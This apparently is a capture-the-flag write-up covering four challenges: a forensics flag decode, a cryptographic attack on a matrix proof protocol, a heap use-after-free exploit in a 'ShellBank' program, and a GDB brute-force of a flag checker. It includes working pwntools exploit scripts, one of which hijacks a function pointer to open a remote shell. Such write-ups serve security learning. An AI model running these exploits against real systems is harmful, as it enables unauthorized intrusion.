redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted 
redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted  redacted_redacted_redacted redacted_redacted_redacted.

Best,
iamroot

It contains the first part of the flag: ictf{h4v3_y0u_s33n_my_fil35_

The second part of the flag lies in the DGGZEV9ZADB1BGRFYJNFMW5FDGGZX2WWZZV9 string.

A few hours into the CTF, a hint was dropped: LULLLU-

We realized it means: Lowercase, Uppercase,
Then the string could be decoded as base64.

By brute-forcing the case step by step, we eventually discover the flag.

th3y_sh0uld_b3_1n_th3_l0g5}

Entire flag: ICTF{h4v3_y0u_s33n_my_fil35_th3y_sh0uld_b3_1n_th3_l0g5}


Sigma Grindset

All operations are performed in \(F = \text{GF}(227)\). Matrixes live in \(\mathcal{M}_{6,6}(F)\).

We can send an arbitrary invertible matrix \(C\). The server sends back \(M := R + SC\), where \(R\) is a random unknown matrix and \(S\) is the secret matrix that contains the flag.

We also know of a constant public vector \(g \in F^6\) and the server sends the value of \(Rg\).

Therefore, we have \(Mg - Rg = SCg\), which is \(\alpha^{(j)} = S \beta^{(j)}\) with \(\alpha = Mg - Rg\) and \(\beta = Cg\) which we can compute.

If we just send random invertible matrixes and get enough of these equations, we can construct a dimension-36 system that will give us back \(S\).

Exploit:

from sage.matrix.constructor import random_unimodular_matrix from pwn import * import linalg P = 227 F = GF(P) big_matrix = [] big_col = [] j = 0 while len(big_matrix) < 36: while not (input_matrix := random_unimodular_matrix(MatrixSpace(F, 6))).is_invertible(): continue r = remote("kaeos.net", 7070) msg1 = b"Proving that I know the matrix which turns: " msg2 = b" into: " data = r.recvline(False) g = linalg.make_vector(eval(data[len(msg1) : data.find(msg2)]), P) pubKey = linalg.make_vector(eval(data[data.find(msg2) + len(msg2) :]), P) msg3 = b"My commitment is: " data = r.recvline(False) Rg = linalg.make_vector(eval(data[len(msg3) :]), P) msg4 = b"Enter your 6x6 challenge matrix:\n> " r.recvuntil(msg4) r.send(linalg.Matrix([[int(input_matrix[i][j]) for j in range(6)] for i in range(6)], P).encode()) r.recvline() # My challenge response is... data = r.recvline(False) R_SC = linalg.Matrix([[0] * 6 for _ in range(6)], P) R_SC.decode(data) print("g", g) print("pubKey", pubKey) print("Rg", Rg) print("R_SC", R_SC) g = vector(F, [_[0] for _ in g.rows]) pubKey = vector(F, [_[0] for _ in pubKey.rows]) Rg = vector(F, [_[0] for _ in Rg.rows]) R_SC = Matrix(F, R_SC.rows) alpha = R_SC * g - Rg beta = input_matrix * g for i in range(6): big_matrix_row = [] big_matrix_row += [0] * (6 * i) big_matrix_row += beta[:] while len(big_matrix_row) < 36: big_matrix_row.append(0) big_matrix.append(big_matrix_row) for alpha_i in alpha: big_col.append(alpha_i) r.close() big_matrix = Matrix(F, big_matrix) big_col = vector(F, big_col) sol = big_matrix.solve_right(big_col) for mask in range(P): sol_ = [int((u + mask) % P) for u in sol] print(mask, bytes(sol_)) """ ICTF{sChn0rr_m1miMi_$cHnoRR_miM1Mi!} """

ShellBank

Reversing

The program creates the following structures on the heap:

struct transaction
{
  char *reference;
  uint64_t transaction_amount;
  void *null;
  void *sender_account;
  transaction *next_trans;
};
struct account
{
  void *remove_transaction;
  void *add_transaction;
  uint64_t id;
  transaction *transactions;
  char name[40];
};

Vulnerability

There is a use after free if we:

  • Create two accounts
  • Create a transaction between the two accounts
  • Delete one of the accounts
  • Refund the transaction

The account->remove_transaction field of the freed account will be called.

Exploit

By creating a new transaction before the refund, we control the function pointer that gets called.
We can point it to the debug function which just calls system("/bin/sh").

from pwn import *

r = remote("192.168.125.100", 9101)

def create_account(name):
    r.recvuntil(b">")
    r.sendline(b"3")
    r.recvuntil(b"Enter account name:")
    r.sendline(name)

def record_payment(reference, value, id_recp, id_sender):
    r.recvuntil(b">")
    r.sendline(b"4")
    r.recvuntil(b"Enter reference:")
    r.sendline(reference)
    r.recvuntil(b"Enter value:")
    r.sendline(str(value))
    r.recvuntil(b"Enter id of recipient:")
    r.sendline(str(id_recp))
    r.recvuntil(b"Enter id of sender:")
    r.sendline(str(id_sender))

def delete_account(idx):
    r.recvuntil(b">")
    r.sendline(b"6")
    r.recvuntil(b"Enter account id:")
    r.sendline(str(idx))

def refund_transaction(transaction_id, account_id):
    r.recvuntil(b">")
    r.sendline(b"5")
    r.recvuntil(b"Enter transaction id:")
    r.sendline(str(transaction_id))
    r.recvuntil(b"Enter id of either account:")
    r.sendline(str(account_id))


create_account(b"Account_1")
create_account(b"Account_2")

record_payment(b"Reference", 1, 0, 1)

delete_account(0)

record_payment(p64(0x4017C9), 1, 1, 1)

refund_transaction(0, 1)

r.interactive()

Flag: ICTF{d0N't_uS3_Th4t?_D0n't_TeLL_M3_whAT_2_d0!}


Flag Locker

Flag is 38 characters. The flag is checked in chunks of 2 bytes. This allows us to bruteforce two bytes at a time.

import gdb

CHAR_SUCCESS = 0x40132A
CHAR_FAIL = 0x40132E
gdb.execute("b*0x40132A") #Success for a given character
gdb.execute("b*0x40132E") 
flag = b"ICTF"

def brute(current_flag):
    for x in range(125,32,-1):
        for y in range(125,32,-1):
            test = current_flag + x.to_bytes(1, byteorder="little") + y.to_bytes(1, byteorder="little")
            print(test)
            with open("current_test.txt", "wb") as fd:
                fd.write(test)
            success_hits = i
            gdb.execute("ignore 1 "+str(i))
            gdb.execute("ignore 2 "+str(i))
            gdb.execute("run < current_test.txt")
            rip = int(gdb.parse_and_eval("$rip"))
            print(hex(rip))
            if rip == CHAR_SUCCESS:
                current_flag = test
                return current_flag
            if rip == CHAR_FAIL: #added for clarity
                continue

for i in range(2, 20):
    flag = brute(flag)
print("".join(flag))

4 hours later:
ICTF{thttS_n
ICTF{thttS_n0T_mY_
ICTF{thttS_n0T_mY_SsGmeNtAtq
ICTF{thttS_n0T_mY_SsGmeNtAtq0N_f4uLT!}
ICTF{th4tS_n0T_mY_S3GmeNtAt10N_f4uLT!}